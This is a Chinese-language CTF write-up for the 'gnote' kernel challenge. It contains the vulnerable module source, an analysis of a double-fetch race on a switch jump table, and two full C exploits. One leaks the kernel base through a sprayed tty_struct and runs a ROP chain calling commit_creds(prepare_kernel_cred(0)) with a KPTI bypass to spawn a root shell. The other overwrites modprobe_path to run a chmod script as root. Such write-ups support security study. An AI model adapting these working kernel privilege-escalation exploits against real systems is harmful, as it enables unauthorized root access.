漏洞源码
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/fs.h>
#include <linux/proc_fs.h>
#include <linux/string.h>
#include <linux/slab.h>
#include <asm/uaccess.h>
#include <linux/uaccess.h>
#define MAX_NOTE 8static DEFINE_MUTEX(lock);struct note {unsigned long size;char *contents;
};unsigned long cnt;
unsigned long selected;
struct note notes[MAX_NOTE];ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{unsigned int index;mutex_lock(&lock);/** 1. add note* 2. edit note* 3. delete note* 4. copy note* 5. select note* No implementation :(*/switch(*(unsigned int *)buf){case 1:if(cnt >= MAX_NOTE){break;}notes[cnt].size = *((unsigned int *)buf+1);if(notes[cnt].size > 0x10000){break;}notes[cnt].contents = kmalloc(notes[cnt].size, GFP_KERNEL);cnt++;break;case 2:printk("Edit Not implemented\n");break;case 3:printk("Delete Not implemented\n");break;case 4:printk("Copy Not implemented\n");break;case 5:index = *((unsigned int *)buf+1);if(cnt > index){selected = index;}break;}mutex_unlock(&lock);return count;
}ssize_t gnote_read(struct file *filp, char __user *buf, size_t count, loff_t *f_pos)
{mutex_lock(&lock);if(selected == -1){mutex_unlock(&lock);return 0;}if(count > notes[selected].size){count = notes[selected].size;}copy_to_user(buf, notes[selected].contents, count);selected = -1;mutex_unlock(&lock);return count;
}struct file_operations gnote_proc = {.write = gnote_write,.read = gnote_read,
};static int __init gnote_init(void)
{cnt=0;selected=-1;proc_create_data("gnote", 0666, NULL, &gnote_proc, NULL);printk("/proc/gnote created\n");return 0;
}static void __exit
gnote_exit(void)
{remove_proc_entry("gnote", NULL);printk("unloading gnote\n");
}module_init(gnote_init);
module_exit(gnote_exit);
漏洞分析
没有开启smap保护
首先看启动脚本和/proc/cpuinfo
,没有看起smap保护
#!/bin/sh
cd /home/gnote
stty intr ^]
exec \timeout 120 \qemu-system-x86_64 \-m 64M \-kernel bzImage \-initrd rootfs.cpio -append "loglevel=3 console=ttyS0 oops=panic panic=1 kaslr" \-nographic \-net user -net nic \-device e1000 -smp cores=2,threads=2 \-cpu kvm64,+smep \-monitor /dev/null 2>/dev/null
/ $ cat /proc/cpuinfo | grep "smep"
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
flags : fpu de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx lm cop
/ $ cat /proc/cpuinfo | grep "smap"
/ $
漏洞分析
先看gnote_write的源码
ssize_t gnote_write(struct file *filp, const char __user *buf, size_t count, loff_t *f_pos)
{[...]switch(*(unsigned int *)buf){[...]notes[cnt].size = *((unsigned int *)buf+1);[...]index = *((unsigned int *)buf+1);
}
在调用gnote_write时,buf指针指向的结构体类似于
struct write_struct{unsigned int sele_func;unsigned int num;
}
再看gnote_write的switch跳转表(首先需要知道syscall时,参数1~参数6是保存在 rdi,rsi,rdx,r10,r8,r9),rsi保存的是buf的地址
.text:0000000000000000 public gnote_write
.text:0000000000000000 gnote_write proc near ; DATA XREF: .data:00000000000002D8↓o
.text:0000000000000000 push rbp
.text:0000000000000001 mov rdi, offset lock
.text:0000000000000008 mov rbp, rsp
.text:000000000000000B push r12
.text:000000000000000D push rbx
.text:000000000000000E mov rbx, rsi <<<<<<<<<<<<<<<<<<<<<<<<<<<
.text:0000000000000011 mov r12, rdx
.text:0000000000000014 call mutex_lock
.text:0000000000000019 cmp dword ptr [rbx], 5 <<<<<<<<<<<<<<<<<<<<<<<<<<<
.text:000000000000001C ja short loc_6E
.text:000000000000001E mov eax, [rbx] <<<<<<<<<<<<<<<<<<<<<<<<<<< 获取switch跳转索引
.text:0000000000000020 mov rax, ds:off_220[rax*8]<<<<<<<<<<<<<<<<<<<<<<<<<<< 跳转表中case代码块地址
.text:0000000000000028 jmp __x86_indirect_thunk_rax.rodata:0000000000000220 off_220 dq offset loc_6E ; DATA XREF: gnote_write+20↑r
.rodata:0000000000000228 dq offset loc_2D
.rodata:0000000000000230 dq offset sub_A5
.rodata:0000000000000238 dq offset sub_97
.rodata:0000000000000240 dq offset sub_B3
.rodata:0000000000000248 dq offset sub_82
.rodata:0000000000000248 _rodata ends
简化为
[0] .text:000000000000000E mov rbx, rsi <<<<<<<<<<<<
[1] .text:0000000000000019 cmp dword ptr [rbx], 5 <<<<<<<<<<<< .text:000000000000001C ja short loc_6E
[2] .text:000000000000001E mov eax, [rbx] <<<<<<<<<<<< 获取switch跳转索引
[3] .text:0000000000000020 mov rax, ds:off_220[rax*8] <<<<<<<<<<<< 跳转表中case代码块地址
[4] .text:0000000000000028 jmp __x86_indirect_thunk_rax
rsi为用户空间的地址buf,将用户空间buf的地址赋值给rbx
[1] 从用户空间获取内容sele_func,与5进行比较,检查sele_func的大小
[2] 再次从用户空间获取sele_func
[3] 从第二次获取的sele_func,获取跳转表中的地址
问题在于[1]、[2]都是从用户空间获取sele_func,这里有个问题,在[1]验证通过,在[2]执行之前,修改用户空间的sele_func
,就有可能出现这样的问题
由于没有smap保护,再通过竞争sele_func,使得sele_func足够大,使得跳转表溢出到用户空间
漏洞利用
exp_kpti
//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((reparm(3)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;struct data {unsigned int menu;unsigned int arg;
};int istriggered =0;size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[+] Status has been saved!");
}void race(void *s)
{struct data *d=s;while(!istriggered){d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000puts("[*] race ..."); // 0xffffffffa0000000}
}void shell()
{istriggered =1;system("/bin/sh");
}void add_note(int fd, unsigned int size)
{struct data d;d.menu=1;d.arg=size;write(fd, (char *)&d, sizeof(struct data));
}void select_note(int fd, unsigned int idx)
{struct data d;d.menu=5;d.arg = idx;write(fd, (char *)&d, sizeof(struct data));
}int main()
{char buf[0x8000];struct data race_arg;pthread_t pthread;save_status();int fd;// Step 1 : leak kernel addressfd=open("proc/gnote", O_RDWR);if (fd<0){puts("[-] Open driver error!");exit(-1);}int fds[50];for (int i=0;i<50; i++)fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);for (int i=0;i<50; i++)close(fds[i]);add_note(fd,0x2e0); // tty_struct结构大小0x2e0select_note(fd,0);read(fd, buf, 512);//for (int i=0; i< 20; i++)// printf("%p\n", *(size_t *)(buf+i*8));unsigned long leak, kernel_base;leak= *(size_t *)(buf+3*8);kernel_base = leak - 0xA35360;printf("[+] Leak_addr= %p kernel_base= %p\n", leak , kernel_base);unsigned long prepare_kernel_cred = kernel_base + 0x69fe0;unsigned long commit_creds = kernel_base + 0x69df0;unsigned long native_write_cr4_addr=kernel_base + (0x8cc3ef20-0x8cc00000);unsigned long fake_cr4 = 0x407f0;unsigned long xchg_eax_esp_ret = kernel_base + 0x1992a; //xchg eax, esp; ret;unsigned long pop_rdi_ret = kernel_base + 0x1c20d; //pop rdi; ret;unsigned long pop_rsi_ret = kernel_base + 0x37799; //pop rsi; ret; unsigned long pop_rdx_ret = kernel_base + 0xdd812; //pop rdx; ret; unsigned long swapgs_p_ret = kernel_base + 0x3efc4; //swapgs; pop rbp; ret; unsigned long iretq_p_ret = kernel_base + 0x1dd06; //iretq; pop rbp; ret; unsigned long mov_rdi_rax_p_ret = kernel_base + 0x21ca6a; //cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;unsigned long kpti_ret = kernel_base + 0x600a4a;// Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);unsigned long *spray_addr= (unsigned long *)pivot_addr;for (int i=0; i<0x1000000/8; i++)spray_addr[i]=xchg_eax_esp_ret;// Step 3 : 布置ROP。由于已经xchg eax,esp 而rax指向xchg地址,所以rop链地址是xchg地址低8位。unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);int i=0;// commit_creds(prepare_kernel_cred(0))rop_base[i++] = pop_rdi_ret;rop_base[i++] = 0;rop_base[i++] = prepare_kernel_cred;rop_base[i++] = pop_rsi_ret; // ja大于则跳转,-1是最大的数rop_base[i++] = -1;rop_base[i++] = mov_rdi_rax_p_ret;rop_base[i++] = 0;rop_base[i++] = commit_creds;// bypass kptirop_base[i++] = kpti_ret;rop_base[i++] = 0;rop_base[i++] = 0;rop_base[i++] = &shell;rop_base[i++] = user_cs;rop_base[i++] = user_rflags;rop_base[i++] = user_sp;rop_base[i++] = user_ss;// Step 4 : 开始竞争race_arg.arg = 0x10001;pthread_create(&pthread,NULL, race, &race_arg);for (int j=0; j< 0x10000000000; j++){race_arg.menu = 1;write(fd, (void*)&race_arg, sizeof(struct data));}pthread_join(pthread, NULL);return 0;
}/*
1.kernel_base:
0x18: 0xffffffffba435360 - ffffffffb9a00000 = 0xA35360
ffffffffb9a69fe0 T prepare_kernel_cred2.ROP gadget:
0xffffffff8101992a: xchg eax, esp; ret;
0xffffffff8101c20d: pop rdi; ret;
0xffffffff81037799: pop rsi; ret;
0xffffffff810dd812: pop rdx; ret;
0xffffffff8103efc4: swapgs; pop rbp; ret;
0xffffffff8101dd06: iretq; pop rbp; ret;
0xffffffff8121ca6a: cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret; 3.下断点
.text:0000000000000019 cmp dword ptr [rbx], 5
.text:000000000000001C ja short loc_6E
.text:000000000000001E mov eax, [rbx]
.text:0000000000000020 mov rax, ds:off_220[rax*8]
.text:0000000000000028 jmp __x86_indirect_thunk_raxcat /sys/module/gnote/sections/.text4.kpti_ret
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode/ # cat /proc/kallsyms| grep ffffffffbde00a
ffffffffbde00a00 t common_interrupt
ffffffffbde00a0f t ret_from_intr
ffffffffbde00a2c T retint_user
ffffffffbde00a34 T swapgs_restore_regs_and_return_to_usermode
ffffffffbde00abb T restore_regs_and_return_to_kernel
ffffffffbde00abb t retint_kernelgef➤ x /50i 0xffffffffbde00a340xffffffffbde00a34: pop r150xffffffffbde00a36: pop r140xffffffffbde00a38: pop r130xffffffffbde00a3a: pop r120xffffffffbde00a3c: pop rbp0xffffffffbde00a3d: pop rbx0xffffffffbde00a3e: pop r110xffffffffbde00a40: pop r100xffffffffbde00a42: pop r90xffffffffbde00a44: pop r80xffffffffbde00a46: pop rax0xffffffffbde00a47: pop rcx0xffffffffbde00a48: pop rdx0xffffffffbde00a49: pop rsi0xffffffffbde00a4a: mov rdi,rsp <<<<<<<<<<<<<<<<<<<<<<0xffffffffbde00a4d: mov rsp,QWORD PTR gs:0x50040xffffffffbde00a56: push QWORD PTR [rdi+0x30]0xffffffffbde00a59: push QWORD PTR [rdi+0x28]0xffffffffbde00a5c: push QWORD PTR [rdi+0x20]0xffffffffbde00a5f: push QWORD PTR [rdi+0x18]0xffffffffbde00a62: push QWORD PTR [rdi+0x10]0xffffffffbde00a65: push QWORD PTR [rdi]0xffffffffbde00a67: push rax0xffffffffbde00a68: xchg ax,ax0xffffffffbde00a6a: mov rdi,cr30xffffffffbde00a6d: jmp 0xffffffffbde00aa30xffffffffbde00a6f: mov rax,rdi0xffffffffbde00a72: and rdi,0x7ff0xffffffffbde00a79: bt QWORD PTR gs:0x1d996,rdi0xffffffffbde00a83: jae 0xffffffffbde00a940xffffffffbde00a85: btr QWORD PTR gs:0x1d996,rdi0xffffffffbde00a8f: mov rdi,rax0xffffffffbde00a92: jmp 0xffffffffbde00a9c0xffffffffbde00a94: mov rdi,rax0xffffffffbde00a97: bts rdi,0x3f0xffffffffbde00a9c: or rdi,0x8000xffffffffbde00aa3: or rdi,0x10000xffffffffbde00aaa: mov cr3,rdi0xffffffffbde00aad: pop rax0xffffffffbde00aae: pop rdi0xffffffffbde00aaf: swapgs 0xffffffffbde00ab2: nop DWORD PTR [rax]0xffffffffbde00ab5: jmp 0xffffffffbde00ae00xffffffffbde00aba: nop*/
exp_modpath
//$ gcc -O3 -pthread -static -g -masm=intel ./exp.c -o exp
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/uio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/mman.h>
#include <syscall.h>
#include <sys/ipc.h>
#include <sys/sem.h>
#include <sys/user.h>typedef int __attribute__((regparm(3)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((reparm(3)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;struct data {unsigned int menu;unsigned int arg;
};int istriggered =0;size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{__asm__("mov user_cs, cs;""mov user_ss, ss;""mov user_sp, rsp;""pushf;""pop user_rflags;");puts("[+] Status has been saved!");
}
void race(void *s)
{struct data *d=s;while(!istriggered){d->menu = 0x9000000; // 0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000puts("[*] race ...");}
}
void something(){puts("[+] Congratulations! You get it!");system("/tmp/fake");system("cat /flag");exit(0);
}
void gen_test(){//system("echo -ne '#!/bin/sh\n/bin/cp /flag /tmp/flag\n/bin/chmod 777 /tmp/flag\n' > /tmp/chmod");system("echo -ne '#!/bin/sh\n/bin/chmod 777 /flag\n' > /tmp/chmod.sh");system("chmod +x /tmp/chmod.sh");system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/fake");system("chmod +x /tmp/fake");
}
void add_note(int fd, unsigned int size)
{struct data d;d.menu=1;d.arg=size;write(fd, (char *)&d, sizeof(struct data));
}
void select_note(int fd, unsigned int idx)
{struct data d;d.menu=5;d.arg = idx;write(fd, (char *)&d, sizeof(struct data));
}int main()
{char buf[0x8000];struct data race_arg;pthread_t pthread;save_status();int fd;// Step 1 : leak kernel addressfd=open("proc/gnote", O_RDWR);if (fd<0){puts("[-] Open driver error!");exit(-1);}int fds[50];for (int i=0;i<50; i++)fds[i]=open("/dev/ptmx", O_RDWR|O_NOCTTY);for (int i=0;i<50; i++)close(fds[i]);add_note(fd,0x2e0); // tty_struct结构大小0x2e0select_note(fd,0);read(fd, buf, 512);//for (int i=0; i< 20; i++)// printf("%p\n", *(size_t *)(buf+i*8));unsigned long leak, kernel_base;leak= *(size_t *)(buf+3*8);kernel_base = leak - 0xA35360;printf("[+] Leak_addr= %p kernel_base= %p\n", leak , kernel_base);unsigned tty_base = (*(size_t *)(buf+7*8)) & 0xffffffffffffff00;unsigned long prepare_kernel_cred = kernel_base + 0x69fe0;unsigned long commit_creds = kernel_base + 0x69df0;unsigned long native_write_cr4_addr=kernel_base + (0x8cc3ef20-0x8cc00000);unsigned long fake_cr4 = 0x407f0;unsigned long xchg_eax_esp_ret = kernel_base + 0x1992a; //xchg eax, esp; ret;unsigned long pop_rdi_ret = kernel_base + 0x1c20d; //pop rdi; ret;unsigned long pop_rsi_ret = kernel_base + 0x37799; //pop rsi; ret; unsigned long pop_rdx_ret = kernel_base + 0xdd812; //pop rdx; ret; unsigned long swapgs_p_ret = kernel_base + 0x3efc4; //swapgs; pop rbp; ret; unsigned long iretq_p_ret = kernel_base + 0x1dd06; //iretq; pop rbp; ret; unsigned long mov_rdi_rax_p_ret = kernel_base + 0x21ca6a; //cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret;unsigned long kpti_ret = kernel_base + 0x600a4a;unsigned long modprobe_path = kernel_base + 0xC2C540;unsigned long memcpy_addr = kernel_base + 0x58a100;// Step 2 : 布置堆喷数据。内核加载最低地址0xffffffffc0000000 + (0x8000000+0x1000000)*8 = 0x8000000char *pivot_addr=mmap((void*)0x8000000, 0x1000000, PROT_READ|PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);unsigned long *spray_addr= (unsigned long *)pivot_addr;for (int i=0; i<0x1000000/8; i++)spray_addr[i]=xchg_eax_esp_ret;// Step 3 : 布置ROP。由于已经xchg eax,esp 而rax指向xchg地址,所以rop链地址是xchg地址低8位。unsigned long mmap_base = xchg_eax_esp_ret & 0xfffff000;unsigned long *rop_base = (unsigned long*)(xchg_eax_esp_ret & 0xffffffff);char *ropchain = mmap((void *)mmap_base, 0x2000, PROT_READ|PROT_WRITE,MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, -1,0);memcpy(mmap_base+0x1000, "/tmp/chmod.sh\0\n", 15);int i=0;// commit_creds(prepare_kernel_cred(0))rop_base[i++] = pop_rdi_ret;rop_base[i++] = modprobe_path;rop_base[i++] = pop_rsi_ret;rop_base[i++] = mmap_base+0x1000; // ja大于则跳转,-1是最大的数rop_base[i++] = pop_rdx_ret;rop_base[i++] = 0x10;rop_base[i++] = memcpy_addr;// bypass kpti//rop_base[i++] = swapgs_p_ret;//rop_base[i++] = tty_base ;//rop_base[i++] = iretq_p_ret;rop_base[i++] = kpti_ret;rop_base[i++] = 0;rop_base[i++] = 0;rop_base[i++] = & something;rop_base[i++] = user_cs;rop_base[i++] = user_rflags;rop_base[i++] = user_sp;rop_base[i++] = user_ss;// Step 4 : 开始竞争gen_test(); // 生成/tmp/fake 和 /tmp/chmod 文件race_arg.arg = 0x10001;pthread_create(&pthread,NULL, race, &race_arg);for (int j=0; j< 0x10000000000; j++){race_arg.menu = 1;write(fd, (void*)&race_arg, sizeof(struct data));}pthread_join(pthread, NULL);getchar();return 0;
}/*
1.kernel_base:
0x18: 0xffffffffba435360 - ffffffffb9a00000 = 0xA35360
ffffffffb9a69fe0 T prepare_kernel_cred2.ROP gadget:
0xffffffff8101992a: xchg eax, esp; ret;
0xffffffff8101c20d: pop rdi; ret;
0xffffffff81037799: pop rsi; ret;
0xffffffff810dd812: pop rdx; ret;
0xffffffff8103efc4: swapgs; pop rbp; ret;
0xffffffff8101dd06: iretq; pop rbp; ret;
0xffffffff8121ca6a: cmp rcx, rsi; mov rdi, rax; ja 0x41ca5d; pop rbp; ret; ffffffffb758a100 W memcpymodprobe_path = 0xffffffffb7c2bf60 - 0xffffffffb7000000
gef➤ x /10i 0xffffffffb706a7b00xffffffffb706a7b0: push rbp0xffffffffb706a7b1: mov rdi,0xffffffffb7c2bf600xffffffffb706a7b8: mov rbp,rsp0xffffffffb706a7bb: push rbx0xffffffffb706a7bc: movzx ebx,BYTE PTR [rip+0xd1ff1d] # 0xffffffffb7d8a6e00xffffffffb706a7c3: call 0xffffffffb706a350*/